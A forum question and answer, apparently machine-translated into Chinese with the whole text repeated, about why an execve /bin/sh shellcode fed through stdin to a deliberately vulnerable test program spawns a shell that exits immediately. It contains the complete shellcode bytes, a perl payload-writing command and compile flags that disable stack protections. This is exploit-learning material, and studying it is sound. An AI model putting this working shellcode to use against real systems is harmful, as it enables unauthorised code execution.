Shell 从 shellcode 启动后立即停止
Shell launched from shellcode immediatly stop upon launching
我会先说我做了研究,但找不到我的基本问题的答案。
我想通过基本程序从 shell 代码启动 shell。
这是使用的 shell代码,现在应该可以使用了:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
奇怪的是这个shell代码在像这样使用时有效:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
但当使用此程序从标准输入读取时不是(使用以下标志编译:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
代码:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
第二个程序发生的情况是程序直接退出,没有错误代码,也没有生成 shell。
Strace 告诉我,在第二个程序中,shell 已正确启动:
read(0, "10Ph//shh/bin13PS110\v1250", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
但是接近尾声的这一行非常可疑,因为我没有被要求做任何事情:
read(0, "", 8192) = 0
似乎我以某种方式向生成的 shell 发送了一个空字节,它杀死了它。我首先虽然没有正确设置我的 shell 代码文件,但这些是我使用的命令:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
我也试过使用这个命令但得到了相同的结果:
perl -e 'print "[...]" | ./vuln
我也检查了文件中的字符,但是文件的权重是 25 oct。对于相同大小的 shell 代码,所以这应该不是问题。
我是否使用正确的方法从标准输入中给出 shell代码,还是有其他方法?
如果不是,问题出在哪里?
谢谢
问题在于,在第二个程序中,您已将标准输入重定向到管道。产生的 shell 尝试从管道中读取,得到 EOF,因此它退出。
您可以在 运行 shell 代码之前将标准输入重定向回终端。
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
freopen("/dev/tty", "r", stdin);
((func)&input)();
return 0;
}
我会先说我做了研究,但找不到我的基本问题的答案。
我想通过基本程序从 shell 代码启动 shell。 这是使用的 shell代码,现在应该可以使用了:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
奇怪的是这个shell代码在像这样使用时有效:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
但当使用此程序从标准输入读取时不是(使用以下标志编译:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
代码:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
第二个程序发生的情况是程序直接退出,没有错误代码,也没有生成 shell。
Strace 告诉我,在第二个程序中,shell 已正确启动:
read(0, "10Ph//shh/bin13PS110\v1250", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
但是接近尾声的这一行非常可疑,因为我没有被要求做任何事情:
read(0, "", 8192) = 0
似乎我以某种方式向生成的 shell 发送了一个空字节,它杀死了它。我首先虽然没有正确设置我的 shell 代码文件,但这些是我使用的命令:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
我也试过使用这个命令但得到了相同的结果:
perl -e 'print "[...]" | ./vuln
我也检查了文件中的字符,但是文件的权重是 25 oct。对于相同大小的 shell 代码,所以这应该不是问题。
我是否使用正确的方法从标准输入中给出 shell代码,还是有其他方法? 如果不是,问题出在哪里?
谢谢
问题在于,在第二个程序中,您已将标准输入重定向到管道。产生的 shell 尝试从管道中读取,得到 EOF,因此它退出。
您可以在 运行 shell 代码之前将标准输入重定向回终端。
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
freopen("/dev/tty", "r", stdin);
((func)&input)();
return 0;
}